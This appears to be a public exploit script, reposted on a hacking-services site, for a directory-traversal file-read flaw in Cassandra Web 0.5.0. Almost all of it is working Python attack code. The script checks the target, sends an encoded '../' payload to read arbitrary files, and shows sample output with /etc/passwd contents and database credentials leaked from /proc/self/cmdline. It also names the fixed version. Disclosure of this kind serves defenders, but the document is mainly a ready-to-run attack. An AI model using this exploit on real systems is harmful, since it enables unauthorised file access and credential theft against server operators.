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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Cassandra Web 0.5.0 - Remote File Read
# Date: 12-28-2020
# Exploit Author: Jeremy Brown
# Vendor Homepage: https://github.com/avalanche123/cassandra-web
# Software Link: https://rubygems.org/gems/cassandra-web/versions/0.5.0
# Version: 0.5.0
# Tested on: Linux

#!/usr/bin/python
# -*- coding: UTF-8 -*-
#
# cassmoney.py
#
# Cassandra Web 0.5.0 Remote File Read Exploit
#
# Jeremy Brown [jbrown3264/gmail]
# Dec 2020
#
# Cassandra Web is vulnerable to directory traversal due to the disabled
# Rack::Protection module. Apache Cassandra credentials are passed via the
# CLI in order for the server to auth to it and provide the web access, so
# they are also one thing that can be captured via the arbitrary file read.
#
# Usage
# > cassmoney.py 10.0.0.5 /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
# bin:x:2:2:bin:/bin:/usr/sbin/nologin
# ...
#
# > cassmoney.py 10.0.0.5 /proc/self/cmdline
# /usr/bin/ruby2.7/usr/local/bin/cassandra-web--usernameadmin--passwordP@ssw0rd
#
# (these creds are for auth to the running apache cassandra database server)
#
# Fix
# - fixed in github repo
# - v0.6.0 / ruby-gems when available
# (still recommended to containerize / run this in some sandbox, apparmor, etc)
#

import os
import sys
import argparse
import requests
import urllib.parse

SIGNATURE = 'cassandra.js'

#
# /var/lib/gems/2.7.0/gems/cassandra-web-0.5.0/app/public
#
DT = '../'
DT_NUM = 8

class CassMoney(object):
	def __init__(self, args):
		self.target = args.target
		self.file = args.file
		self.port = args.port
		self.force = args.force
		self.number = args.number

	def run(self):
		target = "http://" + self.target + ':' + str(self.port)

		payload = urllib.parse.quote_plus(DT * self.number + self.file)

		try:
			deskpop = requests.get(target)
		except Exception as error:
			print("Error: %s" % error)
			return -1

		if(SIGNATURE not in deskpop.text and self.force == False):
			print("Target doesn't look like Cassandra Web, aborting...")
			return -1

		try:
			req = requests.get(target + '/' + payload)
		except:
			print("Failed to read %s (perm denied likely)" % self.file)
			return -1

		if(SIGNATURE in req.text):
			print("Failed to read %s (bad path?)" % self.file)
			return -1

		if(len(req.text) == 0):
			print("Server returned nothing for some reason")
			return 0

		print("\n%s" % req.text)

		return 0

def arg_parse():
	parser = argparse.ArgumentParser()

	parser.add_argument("target",
						type=str,
						help="Cassandra Web Host")

	parser.add_argument("file",
						type=str,
						help="eg. /etc/passwd, /proc/sched_debug + /proc/<cass-web-pid>/cmdline")

	parser.add_argument("-p",
						"--port",
						type=int,
						default=3000,
						help="Cassandra Web Port")

	parser.add_argument("-f",
						"--force",
						default=False,
						action='store_true',
						help="Run the payload even if server isn't Cassandra Web")

	parser.add_argument("-n",
						"--number",
						type=int,
						default=DT_NUM,
						help="Adjust the number of dot-dot-slash")

	args = parser.parse_args()

	return args

def main():
	args = arg_parse()

	cm = CassMoney(args)

	result = cm.run()

	if(result > 0):
		sys.exit(-1)

if(__name__ == '__main__'):
	main()